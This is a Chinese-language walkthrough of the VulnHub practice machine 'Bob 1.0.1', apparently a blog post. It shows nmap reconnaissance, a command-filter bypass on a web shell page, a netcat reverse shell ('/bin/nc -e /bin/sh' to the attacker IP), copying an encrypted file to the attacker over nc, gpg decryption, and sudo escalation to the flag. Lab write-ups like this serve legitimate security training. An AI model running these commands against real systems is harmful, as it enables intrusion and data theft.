The Game Of Bob_1.0.1

题记

最近在打靶机,发现了一个挺有意思又挺有技巧性的靶机,这里想跟大家分享一下,各位大佬轻喷。

 

环境准备

https://download.vulnhub.com/bob/Bob_v1.0.1.ova (靶机下载地址)
攻击机 Kali IP 192.168.107.129
靶机在同一C段下

 

主机发现

使用命令nmap -sP 192.168.107.1/24
192.168.107.1是我物理机的ip,而192.168.107.254是结束ip。所以说我们的靶机ip就是192.168.107.132.

 

端口扫描

使用命令nmap -sS 192.168.107.132
我们发现只开放了一个web 80端口,我们访问。
上面虽说有Home之类的选项。但是点不动的,没用。所以说web页面上没什么搞头,所以我们从目录下手

 

目录扫描

这里我使用御剑扫描,可以看到,扫出来了robots.txt访问,看到如下几个根目录。依次访问一下。login.php直接是404。passwords.html是lat_memo.html是这两个页面都没什么有用的信息。接下来是dev_shell.php。这才是本次靶机的突破口。

 

寻找突破口

一开始,我天真的以为这是一个后面。。。拿起burp就去爆破密码,半天爆不出来。再回头来看,发现有个Output。想一想会不会是一个执行命令的。试一试果然,执行了命令,当我使用ls时,页面没有了回显。于是我推测,应该是ls被禁用了,但是不要忘了,ls还有个加强版的命令(也不能说是加强版,理解意思就行)。lsattr,我们试一试,没用过滤,这下可以看到很多有用的东西。比如说这个./dev_shell_php.bak,这很明显是个源码泄露,我们把源码DOWN下来。看到上面过滤了一些命令,其中包括我们可能用到的ls,nc,cat。 其实这样也可以一步一步进行信息的搜集但是,每次都要输这么多,显然是很麻烦的。所以我想反弹一个shell到我的攻击机上。但是nc都被禁了,这里用了很多方式,最后发现这种方式能够绕过,直接去/bin里使用命令,比如我使用cat使用命令/bin/cat robots.txt

 

获取会话

知道怎么绕过nc,接下来就是获得会话了,首先在我的攻击机上使用命令nc -lvp 4444,接着在执行命令界面使用 /bin/nc -e /bin/sh 192.168.107.1 4444。然后,成功获取会话。whoami 可以看到我们目前的权限。为了美化一下界面,产生一个TTY Shell 使用python -c 'import pty;pty.spawn("/bin/bash")'接着ls看下目录下的文件,有个flag.txt,应该是没权限查看的

 

获得密码

进入home目录,查看一下有哪些用户。先看bob吧,可以看到两个文件和一个目录,那个login.txt.gpg是gpg加密的,需要密码,所以,现在的目标,就是要搞到密码。同目录下还有个Secret,跟进去看看。这个地方,需要有某种常识。。。这个地方也是卡了半天。。就是这个,可以发现就是个所谓的“藏头诗”这也是比较有意思的,不知道确实就真的不知道了。。所以,密码自然就是这个每一句的开头了。然后我们使用命令解密gpg --batch --passphrase HARPOCRATES -d login.txt.gpg。结果还是没法这里又卡了半天,我是这样做的?:用nc将该文件转发到我的攻击机上,再用gpg解密。

  1. 先在攻击机上nc -lvp 1235 > login.txt.gpg。意思是接收的文件是login.txt.gpg
  2. 在靶机上先切换到/home/bob/Documents下,接着使用命令nc -w 3 192.168.107.129 1235 < login.txt.gpg
    接着ctrl c结束,查看已经被转移过来了,然后,再次使用解密命令解密。解密成功。获得了bob的密码。

 

Get flag

登陆bob的账号。su bob。然后我直接sudo cat flag.txt。就得到了flag

审核人:yiwang   编辑:边边

(完)